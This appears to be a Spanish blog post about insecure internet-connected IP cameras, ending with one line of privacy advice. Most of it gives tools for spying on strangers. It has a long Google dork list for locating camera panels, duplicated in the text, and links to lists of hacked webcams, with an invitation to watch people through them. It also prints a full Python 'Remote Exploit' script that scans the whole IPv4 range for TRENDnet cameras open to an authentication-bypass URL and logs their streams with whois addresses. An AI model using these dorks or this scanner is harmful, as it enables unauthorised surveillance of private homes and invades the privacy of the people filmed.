Hace poco me empecé a interesar por el tema de las cámaras IP. Parece un tema bastante abandonado y que puede suponer un problema serio de seguridad.
Así os extrañe la hostia, hay gente que pone una cámara en lo más íntimo de su casa y no se preocupa lo mas mínimo por la seguridad del aparato.
Cuando se instala una cámara IP, una de las ventajas que tiene, es que puede configurarse para ser accesible desde internet:
De esta manera, puedes estar de vacaciones o lejos del lugar donde hayas colocado la cámara y sentirte tranquilo de poder vigilarla en tiempo real en cualquier momento.
Pero esta ventaja puede suponer un problema de seguridad brutal. Muchos aparatos de este tipo usan tecnologías y paneles de administración anticuados a más no poder. Y no sólo eso, la mayoría de estos cacharros no se actualizan desde que se realiza la instalación.
Obviamente, le faltó tiempo a Google y otros buscadores para indexar todos estos aparatos XDD
En consecuencua empezaron a aparecer los primeros Dorks para localizarlos:
inurl:”CgiStart?page=” inurl:/view.shtml intitle:”Live View / – AXIS inurl:view/view.shtml inurl:ViewerFrame?Mode= inurl:ViewerFrame?Mode=Refresh inurl:axis-cgi/jpg inurl:axis-cgi/mjpg (motion-JPEG) (disconnected) inurl:view/indexFrame.shtml inurl:view/index.shtml inurl:view/view.shtml liveapplet intitle:”live view” intitle:axis intitle:liveapplet allintitle:”Network Camera NetworkCamera” (disconnected) intitle:axis intitle:”video server”inurl:”CgiStart?page=” inurl:/view.shtml intitle:”Live View / – AXIS inurl:view/view.shtml inurl:ViewerFrame?Mode= inurl:ViewerFrame?Mode=Refresh inurl:axis-cgi/jpg inurl:axis-cgi/mjpg (motion-JPEG) (disconnected) inurl:view/indexFrame.shtml inurl:view/index.shtml inurl:view/view.shtml liveapplet intitle:”live view” intitle:axis intitle:liveapplet allintitle:”Network Camera NetworkCamera” (disconnected) intitle:axis intitle:”video server” intitle:liveapplet inurl:LvAppl intitle:”EvoCam” inurl:”webcam.html” intitle:”Live NetSnap Cam-Server feed” intitle:”Live View / – AXIS” intitle:”Live View / – AXIS 206M” intitle:”Live View / – AXIS 206W” intitle:”Live View / – AXIS 210? inurl:indexFrame.shtml Axis inurl:”MultiCameraFrame?Mode=Motion” (disconnected) intitle:start inurl:cgistart intitle:”WJ-NT104 Main Page” intitle:snc-z20 inurl:home/ intitle:snc-cs3 inurl:home/ intitle:snc-rz30 inurl:home/ intitle:”sony network camera snc-p1? intitle:”sony network camera snc-m1? site:.viewnetcam.com -www.viewnetcam.com intitle:”Toshiba Network Camera” user login intitle:”netcam live image” (disconnected) intitle:”i-Catcher Console – Web Monitor” intitle:liveapplet inurl:LvAppl intitle:”EvoCam” inurl:”webcam.html” intitle:”Live NetSnap Cam-Server feed” intitle:”Live View / – AXIS” intitle:”Live View / – AXIS 206M” intitle:”Live View / – AXIS 206W” intitle:”Live View / – AXIS 210? inurl:indexFrame.shtml Axis inurl:”MultiCameraFrame?Mode=Motion” (disconnected) intitle:start inurl:cgistart intitle:”WJ-NT104 Main Page” intitle:snc-z20 inurl:home/ intitle:snc-cs3 inurl:home/ intitle:snc-rz30 inurl:home/ intitle:”sony network camera snc-p1? intitle:”sony network camera snc-m1? site:.viewnetcam.com -www.viewnetcam.com intitle:”Toshiba Network Camera” user login intitle:”netcam live image” (disconnected) intitle:”i-Catcher Console – Web Monitor”
Y es que hay muchos aparatos que como véis, no hace falta ni hackearlos. Están públicos directamente o son vulnerables a una "magic URL". De risa }:-)
En pastebin y foros de hacking, entre otros sitios, existen listas de cámaras web hackeadas donde puedes pasar el rato observando a gente que se pasa el día en Gran Hermano:
http://pastebin.com/DtCL8Nvm
http://cryptogasm.com/webcams/index.php?page=1
No es difícil fabricar tu propia lista de cámaras IP hackeadas, de hecho, se tarda cinco minutos en escribir un script que busque cámaras IP vulnerables por internet:
# Exploit Title: TRENDNet IP Cam Magic URL Searcher.
# Date: [10/04/2013]
# Author: [SnakingMax]
# Website: http://snakingmax.blogspot.com/
# Category: [Remote Exploit]
# Vulnerability description:
# Bypass the TRENDNet IP Cam authentication protection by ussing a magic url ^.^
#
# Software Description:
# This software scans Internet to find TRENDNet IP vulnerable cams.
from struct import *
from socket import *
from http.client import HTTPConnection
import urllib.request
import subprocess
def isPublicIP(ip):
#This method responses True if is a public IP or False in otherwise.
f = unpack('!I',inet_pton(AF_INET,ip))[0]
private = (["127.0.0.0","255.0.0.0"],["192.168.0.0","255.255.0.0"],["172.16.0.0","255.240.0.0"],["10.0.0.0","255.0.0.0"])
for net in private:
mask = unpack('!I',inet_aton(net[1]))[0]
p = unpack('!I',inet_aton(net[0]))[0]
if (f & mask) == p:
return False
return True
def isPublicWebcam(ip):
#This method responses True if the IP is a webcam or False in otherwise.
try:
conn = HTTPConnection(ip, 80, timeout=5)
conn.request('GET', "/anony/mjpg.cgi")
response = conn.getresponse()
if (response.info()["content-type"] == 'multipart/x-mixed-replace;boundary=myboundary'):
response.close()
conn.close()
return True
response.close()
conn.close()
return False
except Exception as E:
return False
response.close()
conn.close()
def addThisCamToMyList(camIP):
#This method save data into a file called CamList.txt
camlist = open("CamList.txt", "at")
camlist.write("------------------------WEBCAM------------------------\n")
#Saving URL.
camlist.write(" URL: http://"+camIP+"/anony/mjpg.cgi\n")
#Getting and writting whois Information about the cam ip.
whoisInfo = subprocess.check_output(["whois", camIP])
whoisList = str(whoisInfo).split("\\n")
#Getting and writting address information.
for i in whoisList:
if (i.count("address")>0):
camlist.write(" ADDRESS:\n")
camlist.write(i[8:]+"\n")
#Getting and writting country Information.
for i in whoisList:
if (i.count("country")>0):
camlist.write(" COUNTRY:\n")
print(i[:8]+"\n")
break
camlist.write("------------------------------------------------------\n")
camlist.close()
if ( (__name__)=="__main__" ):
#Generating IP address.
for a in reversed(range(256)):
for b in reversed(range(256)):
for c in reversed(range(256)):
for d in range(1,255):
generatedIP = str(a)+"."+str(b)+"."+str(c)+"."+str(d)
#Check if generated IP is public.
if(isPublicIP(generatedIP)):
print("Testing IP: "+generatedIP)
#Check if the IP is a webcam.
if (isPublicWebcam(generatedIP)):
print(generatedIP + " is a webcam ;-)")
#Saving data about the camera into a file.
addThisCamToMyList(generatedIP)
Siempre se debería pensar bien el lugar donde se coloca una cámara o un micrófono ya sea del PC, del teléfono o de seguridad. Tapar la cámara o apagarla físicamente cuando no sea necesaria... Etc.






